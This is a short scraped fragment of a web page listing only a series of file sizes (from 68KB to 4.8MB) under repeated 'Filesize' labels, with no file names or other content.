4.6MB
-
Filesize
4.8MB
-
Filesize
4.8MB
-
Filesize
136KB
-
Filesize
1.5MB
-
Filesize
4.3MB
-
Filesize
4.8MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
4.4MB
-
Filesize
80KB
-
Filesize
68KB
-
Filesize
652KB
-
Filesize
304KB
-
Filesize
4.8MB
-
Filesize
4.8MB
